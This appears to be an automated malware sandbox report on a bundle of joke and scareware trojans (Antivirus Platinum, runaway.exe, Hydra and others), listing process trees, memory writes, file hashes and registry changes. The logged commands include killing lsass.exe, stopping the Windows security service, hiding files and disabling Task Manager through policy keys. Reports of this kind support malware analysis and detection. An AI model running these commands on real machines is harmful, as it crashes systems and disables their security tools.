N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\system32\taskkill.exe	N/A

Suspicious use of FindShellTrayWindow

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe	N/A

Suspicious use of SendNotifyMessage

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Suspicious use of SetWindowsHookEx

Description	Indicator	Process	Target
N/A	N/A	\??\c:\windows\antivirus-platinum.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2808 wrote to memory of 4716	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe	C:\Windows\system32\cmd.exe
PID 2808 wrote to memory of 4716	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe	C:\Windows\system32\cmd.exe
PID 4716 wrote to memory of 1344	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 4716 wrote to memory of 1344	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 4716 wrote to memory of 2912	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 4716 wrote to memory of 2912	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 4716 wrote to memory of 2912	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 4716 wrote to memory of 2588	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 4716 wrote to memory of 2588	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 4716 wrote to memory of 2848	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 4716 wrote to memory of 2848	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 4716 wrote to memory of 2848	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 4716 wrote to memory of 4980	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 4716 wrote to memory of 4980	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\timeout.exe
PID 2848 wrote to memory of 3316	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 2848 wrote to memory of 3316	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 2848 wrote to memory of 3316	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe	C:\WINDOWS\302746537.exe
PID 3316 wrote to memory of 5012	N/A	C:\WINDOWS\302746537.exe	C:\Windows\SysWOW64\cmd.exe
PID 3316 wrote to memory of 5012	N/A	C:\WINDOWS\302746537.exe	C:\Windows\SysWOW64\cmd.exe
PID 3316 wrote to memory of 5012	N/A	C:\WINDOWS\302746537.exe	C:\Windows\SysWOW64\cmd.exe
PID 5012 wrote to memory of 592	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 5012 wrote to memory of 592	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 5012 wrote to memory of 592	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 5012 wrote to memory of 4560	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 5012 wrote to memory of 4560	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 5012 wrote to memory of 4560	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 5012 wrote to memory of 2668	N/A	C:\Windows\SysWOW64\cmd.exe	\??\c:\windows\antivirus-platinum.exe
PID 5012 wrote to memory of 2668	N/A	C:\Windows\SysWOW64\cmd.exe	\??\c:\windows\antivirus-platinum.exe
PID 5012 wrote to memory of 2668	N/A	C:\Windows\SysWOW64\cmd.exe	\??\c:\windows\antivirus-platinum.exe
PID 5012 wrote to memory of 4968	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\attrib.exe
PID 5012 wrote to memory of 4968	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\attrib.exe
PID 5012 wrote to memory of 4968	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\attrib.exe
PID 4716 wrote to memory of 1720	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 4716 wrote to memory of 1720	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 4716 wrote to memory of 1720	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe
PID 4716 wrote to memory of 1036	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 1036	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 1036	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 1004	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 1004	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 1004	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 2892	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 2892	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 2892	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 2380	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\taskkill.exe
PID 4716 wrote to memory of 2380	N/A	C:\Windows\system32\cmd.exe	C:\Windows\system32\taskkill.exe
PID 4716 wrote to memory of 380	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 380	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 380	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 436	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 436	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 436	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 2220	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe
PID 4716 wrote to memory of 2220	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe
PID 4716 wrote to memory of 2220	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe
PID 4716 wrote to memory of 4840	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 4840	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 4840	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 4288	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 4288	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 4288	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe
PID 4716 wrote to memory of 1212	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe
PID 4716 wrote to memory of 1212	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe
PID 4716 wrote to memory of 1212	N/A	C:\Windows\system32\cmd.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

System policy modification

evasion

Description	Indicator	Process	Target
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863"	\??\c:\windows\antivirus-platinum.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	\??\c:\windows\antivirus-platinum.exe	N/A
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	\??\c:\windows\antivirus-platinum.exe	N/A
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	\??\c:\windows\antivirus-platinum.exe	N/A

Views/modifies file attributes

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\attrib.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\62F0.tmp\62F1.tmp\62F2.bat C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\timeout.exe

timeout /t 6

C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe

FreeMicrosoft.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

AntivirusPlatinum.exe

C:\Windows\system32\timeout.exe

timeout /t 2

C:\WINDOWS\302746537.exe

"C:\WINDOWS\302746537.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7C25.tmp\302746537.bat" "

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\comctl32.ocx

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\mscomctl.ocx

\??\c:\windows\antivirus-platinum.exe

c:\windows\antivirus-platinum.exe

C:\Windows\SysWOW64\attrib.exe

attrib +h c:\windows\antivirus-platinum.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

Antivirus.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\taskkill.exe

taskkill /IM lsass.exe /F

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

Badgame.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

Hydra.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

SGen.exe

C:\Windows\SysWOW64\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\SFC8C42.tmp.vbs"

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\timeout.exe

timeout /t 10

C:\Windows\SysWOW64\net.exe

net stop wscsvc

C:\Windows\SysWOW64\net.exe

net stop winmgmt /y

C:\Windows\SysWOW64\net.exe

net start winmgmt

C:\Windows\SysWOW64\net.exe

net start wscsvc

C:\Windows\SysWOW64\Wbem\mofcomp.exe

mofcomp C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop winmgmt /y

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start winmgmt

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start wscsvc

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop wscsvc

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

PCOptimizerProInstaller.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

VirusCan.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DCB4.tmp\VirusCan.bat""

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

matrix.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\13E1.tmp\13E2.tmp\13E3.bat C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe"

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

bomb.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

ChilledWindows.exe

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x508 0x2ec

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp

Files

C:\Users\Admin\AppData\Local\Temp\62F0.tmp\62F1.tmp\62F2.bat

MD5	9eed2c0c3293d9424e3edacf3b36615d
SHA1	1d7743263a25661055549dd913ec5c654fa99ffd
SHA256	9780bbabc18e0a4cf00c87ffe12c36804fd1180c7e62ceb3f244820224dd15b2
SHA512	cedcd3b4ea56f4495e5f0baf20795c1296130f65d5512b4a7adabd1cfc46c2af0f94e5678a74b9fc181371d2e34239bc1d833f908e599f7389ee53cd55a8b746

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

MD5	833619a4c9e8c808f092bf477af62618
SHA1	b4a0efa26f790e991cb17542c8e6aeb5030d1ebf
SHA256	92a284981c7ca33f1af45ce61738479fbcbb5a4111f5498e2cb54931c8a36c76
SHA512	4f231fc16339d568b5cf9353133aeae835eb262dab68bc80d92f37b43df64dce4fae0e913cbaa3bb61351a759aeecf9d280bc5779b0853c980559a654d6cca11

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

MD5	382430dd7eae8945921b7feab37ed36b
SHA1	c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128
SHA256	70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b
SHA512	26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

C:\Windows\302746537.exe

MD5	8703ff2e53c6fd3bc91294ef9204baca
SHA1	3dbb8f7f5dfe6b235486ab867a2844b1c2143733
SHA256	3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035
SHA512	d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

memory/3316-53-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7C25.tmp\302746537.bat

MD5	7d8beb22dfcfacbbc2609f88a41c1458
SHA1	52ec2b10489736b963d39a9f84b66bafbf15685f
SHA256	4aa9ed4b38514f117e6e4f326cb0a1be7f7b96199e21305e2bd6dce289d7baa2
SHA512	a26cf9168cf7450435a9fe8942445511f6fda1087db52bd73e335d6f5b544fc892999019d9291d9dcc60c3656de49688f6d63282c97706e2db286f988e44fd94

C:\Windows\COMCTL32.OCX

MD5	821511549e2aaf29889c7b812674d59b
SHA1	3b2fd80f634a3d62277e0508bedca9aae0c5a0d6
SHA256	f59cdf89f0f522ce3662e09fa847bca9b277b006c415dcc0029b416c347db9c4
SHA512	8b2e805b916e5fbfcccb0f4189372aea006789b3847b51018075187135e9b5db9098f704c1932623f356db0ee327e1539a9bf3729947e92844a26db46555e8cd

\??\c:\windows\mscomctl.ocx

MD5	714cf24fc19a20ae0dc701b48ded2cf6
SHA1	d904d2fa7639c38ffb6e69f1ef779ca1001b8c18
SHA256	09f126e65d90026c3f659ff41b1287671b8cc1aa16240fc75dae91079a6b9712
SHA512	d375fd9b509e58c43355263753634368fa711f02a2235f31f7fa420d1ff77504d9a29bb70ae31c87671d50bd75d6b459379a1550907fbe5c37c60da835c60bc1

C:\Windows\antivirus-platinum.exe

MD5	cd1800322ccfc425014a8394b01a4b3d
SHA1	171073975effde1c712dfd86309457fd457aed33
SHA256	8115de4ad0b7e589852f521eb4260c127f8afeaa3b0021bfc98e4928a4929ac0
SHA512	92c22c025fd3a61979fa718bf2e89a86e51bf7e69c421a9534fbf9c2d5b23b7a9224d0e9f3e0501992038837015214d1ef73b532a68b7d19de559c9ab9c6e5f6

memory/2668-65-0x0000000000400000-0x000000000040D000-memory.dmp

memory/3316-70-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

MD5	c7e9746b1b039b8bd1106bca3038c38f
SHA1	cb93ac887876bafe39c5f9aa64970d5e747fb191
SHA256	b1369bd254d96f7966047ad4be06103830136629590182d49e5cb8680529ebd4
SHA512	cf5d688f1aec8ec65c1cb91d367da9a96911640c695d5c2d023836ef11e374ff158c152b4b6207e8fcdb5ccf0eed79741e080f1cbc915fe0af3dacd624525724

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

MD5	979b597855746aee2f30ee74f9d7c163
SHA1	56dd0b4bbc5ddcc3fab99ea2e8f781d8b7c7c05f
SHA256	dc6ee4edbbbe1116a200b928f2b62dbc55594a9f79152bbb0076161a58546c11
SHA512	6b7411b23fa0be275070bb08edb0293f7c5c00fffb7746afe0b4368e0a45e4c2743d3ef86417a610021577f70253bb0ca1c5d3398ac93d22d6672d2b16e0ec4e

memory/2892-81-0x0000000000470000-0x0000000000478000-memory.dmp

memory/1004-83-0x0000000005920000-0x0000000005EC4000-memory.dmp

memory/1036-82-0x0000000005450000-0x00000000054E2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

MD5	ebfbd478a8cfc0fb645b8559973690cb
SHA1	88ec8dff51b53beed128582bcaf86ea81f684a0f
SHA256	62c99ea25fea9d3e5917114ada0406a333b1506697bd2bc28e9d676655232a59
SHA512	30c5dbaf97d3b43edca2e0c9f98fe3e45a2b508880021ce624145549b295c46f4468118c2f5051be402d4eeb3d9791a5eb27f1cc242b3a639b8318be49315f82

memory/1212-94-0x00000000004B0000-0x00000000004C0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

MD5	b2eca909a91e1946457a0b36eaf90930
SHA1	3200c4e4d0d4ece2b2aadb6939be59b91954bcfa
SHA256	0b6c0af51cde971b3e5f8aa204f8205418ab8c180b79a5ac1c11a6e0676f0f7c
SHA512	607d20e4a46932c7f4d9609ef9451e2303cd79e7c4778fe03f444e7dc800d6de7537fd2648c7c476b9f098588dc447e8c39d8b21cd528d002dfa513a19c6ebbf

memory/1212-97-0x0000000004F10000-0x0000000004F1A000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

MD5	3e20f1b0a3bb4c8608844e47d92d2121
SHA1	e2f84e46d4e63cbd091feeca686814752519596e
SHA256	a23284c86e2b640fce315419157db159355efa61f0ed1b70e716584aa77b6793
SHA512	1047304be5dcca4b71fed0c76db3bd4c42fcd2b163b6d93dc27be16fe90579d6a8c40655e76132b398ad430dadf7238267342adc2206025c9a77998c4214dd6b

C:\Users\Admin\AppData\Local\Temp\SFC8C42.tmp.vbs

MD5	c9f89015e169c812c60401d74883575f
SHA1	213bb6cde1d5930dcfa5e5584e42d52c4d160108
SHA256	77ea383219c8c3933d138f10154a1004e89384fa372d38bd6a372f9ba14f5056
SHA512	c75b20a0268d226ea452ba1c956b7c996a84ecfaad372a0b21745b2d466143d0f6536485d70cc4abb10fda8f70c657f027ada2caaeb399fa780ca7c0551b714e

C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

MD5	7fad92afda308dca8acfc6ff45c80c24
SHA1	a7fa35e7f90f772fc943c2e940737a48b654c295
